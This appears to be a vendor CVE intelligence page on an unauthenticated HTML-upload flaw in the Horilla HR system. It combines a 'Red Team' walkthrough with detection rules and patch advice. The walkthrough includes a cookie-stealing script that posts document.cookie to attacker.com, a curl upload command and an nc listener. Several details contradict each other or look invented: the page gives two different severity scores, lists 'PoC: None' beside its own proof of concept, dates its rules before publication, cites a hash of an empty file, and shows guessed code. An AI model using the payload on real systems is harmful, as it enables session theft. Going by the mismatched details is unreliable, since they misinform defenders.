☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-59524

CVE-2025-59524 Arbitrary File Upload in Horilla
📅 PUBLISHED: 2025-09-24 18:12 UTC 🔄 UPDATED: 2026-09-23 20:19 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.35%
👁️
0.35% probability
8.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-59524 is a critical unauthenticated file upload vulnerability in Horilla, an open-source Human Resource Management System (HRMS). The application performs file validation only on the client side (browser), allowing an attacker to bypass these checks using an intercepting proxy or by crafting a direct request. This enables the upload of an executable HTML document (e.g., containing JavaScript) to the server. When an administrator or privileged user views the uploaded file, the embedded script executes in their session context, exfiltrating session cookies or other credentials to an attacker-controlled endpoint. The attacker can then reuse these credentials to impersonate the admin, gaining full control over the HRMS instance. The vulnerability is patched in version 1.4.0, which introduces server-side validation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Horilla application itself. The risk is elevated for organizations using unpatched versions (< 1.4.0) in production environments, as the attack vector is network-based and requires no authentication.

CVSS Breakdown & Threat Level

CVSS Score: 9.6 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or complex steps are required.
  • Privileges Required (PR): None – The attacker does not need any authentication.
  • User Interaction (UI): Required – The victim (admin) must view the uploaded file.
  • Scope (S): Changed – The impact extends beyond the vulnerable component (e.g., session hijacking).
  • Confidentiality (C): High – Full disclosure of session cookies and potentially sensitive HR data.
  • Integrity (I): High – The attacker can modify data or perform actions as the admin.
  • Availability (A): High – The attacker could disrupt the HRMS service.

Threat Level: Critical. The combination of no authentication, low complexity, and high impact makes this a high-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability stems from a lack of server-side file validation in the file upload functionality. The application relies solely on client-side JavaScript checks (e.g., file extension or MIME type) to restrict uploads. An attacker can:

  1. Intercept the upload request using a proxy (e.g., Burp Suite) and modify the file content or extension.
  2. Craft a direct HTTP request to the upload endpoint, bypassing the browser entirely.
  3. Upload an HTML file containing malicious JavaScript (e.g., a session cookie stealer).
  4. Trigger the execution when an admin navigates to the uploaded file's URL (e.g., via a link or direct access).

The uploaded HTML file is stored on the server and served with the same origin as the Horilla application. When the admin views it, the JavaScript executes in the admin's session context, allowing the attacker to steal session cookies (e.g., sessionid or csrftoken) and send them to an attacker-controlled endpoint (e.g., https://attacker.com/steal).

Key Weakness: The application does not validate file content on the server side, allowing arbitrary HTML/JavaScript uploads.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.4.0): The upload handler only checks the file extension on the client side. Server-side code likely accepts any file without validation.

# Vulnerable upload handler (simplified)
def upload_file(request):
    if request.method == 'POST':
        file = request.FILES['file']
        # No server-side validation
        handle_uploaded_file(file)
        return JsonResponse({'status': 'success'})

Patched Code (1.4.0): The fix adds server-side validation to reject executable HTML documents.

# Patched upload handler (simplified)
import magic

def upload_file(request):
    if request.method == 'POST':
        file = request.FILES['file']
        # Server-side MIME type validation
        mime_type = magic.from_buffer(file.read(1024), mime=True)
        if mime_type not in ['image/png', 'image/jpeg', 'application/pdf']:
            return JsonResponse({'error': 'Invalid file type'}, status=400)
        handle_uploaded_file(file)
        return JsonResponse({'status': 'success'})

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A vulnerable Horilla instance (version < 1.4.0)
  • An intercepting proxy (e.g., Burp Suite) or curl

Step 1: Craft Malicious HTML Payload Create a file named exploit.html with the following content:

<html>
<body>
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</body>
</html>

Step 2: Upload via Proxy

  1. Intercept the file upload request in Burp Suite.
  2. Change the filename to exploit.html and ensure the content is the malicious HTML.
  3. Forward the request.

Step 3: Upload via Direct Request (curl)

curl -X POST -F "file=@exploit.html" http://target-horilla.com/upload/

Step 4: Trigger Execution Send a link to the uploaded file (e.g., http://target-horilla.com/uploads/exploit.html) to an admin via social engineering or wait for them to access it.

Step 5: Capture Session Cookie Set up a listener on attacker.com to receive the cookie:

nc -lvnp 80

Blue Team (Defense & Detection)

Detection:

  • Monitor for file uploads with .html, .htm, .shtml extensions.
  • Alert on uploads where the MIME type is text/html or application/xhtml+xml.
  • Use WAF rules to block HTML file uploads.

Prevention:

  • Apply the patch (upgrade to version 1.4.0).
  • Implement server-side file validation (e.g., using python-magic).
  • Restrict file uploads to specific directories with no execution permissions.
  • Use Content Security Policy (CSP) headers to prevent inline script execution.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example malicious HTML)
  • Network Indicators:
    • Outbound connections to attacker.com or unknown IPs on port 80/443.
    • HTTP requests containing document.cookie in the body.
  • File System Indicators:
    • Unexpected .html files in the upload directory (e.g., /uploads/).
    • Files with text/html MIME type in upload directories.
  • Log Indicators:
    • Upload logs showing text/html MIME type.
    • Access logs to /uploads/*.html from admin IPs.

Detection Engineering

YARA Rule

rule CVE_2025_59524_Malicious_HTML_Upload {
    meta:
        description = "Detects malicious HTML files uploaded to Horilla HRMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59524"
    strings:
        $cookie_stealer = /document\.cookie/
        $fetch = /fetch\(/
        $xmlhttp = /XMLHttpRequest/
    condition:
        (uint16(0) == 0x3C21 or uint16(0) == 0x3C68) and // <! or <h
        any of ($cookie_stealer, $fetch, $xmlhttp)
}

Sigma Rule

title: Horilla Malicious HTML File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of HTML files to Horilla HRMS, indicating CVE-2025-59524 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload/*'
        cs-content-type: 'text/html'
    condition: selection
falsepositives:
    - Legitimate HTML file uploads (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59524 Horilla Malicious HTML Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload/"; http_uri; content:"text/html"; http_content_type; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade to Horilla version 1.4.0 or later.
  2. If upgrade is not possible, implement a WAF rule to block uploads of .html, .htm, .shtml files.
  3. Restrict file upload directory permissions (no execute).
  4. Add server-side validation using a library like python-magic to check MIME types.

Long-Term Measures:

  • Conduct a security audit of all file upload endpoints.
  • Implement Content Security Policy (CSP) headers to prevent inline script execution.
  • Use a Web Application Firewall (WAF) with virtual patching.
  • Train administrators to avoid clicking on uploaded files from untrusted sources.

Patch Details: The fix is included in Horilla version 1.4.0. The patch adds server-side MIME type validation and rejects executable HTML documents. Upgrade instructions are available at the official Horilla repository.


Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-59524/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.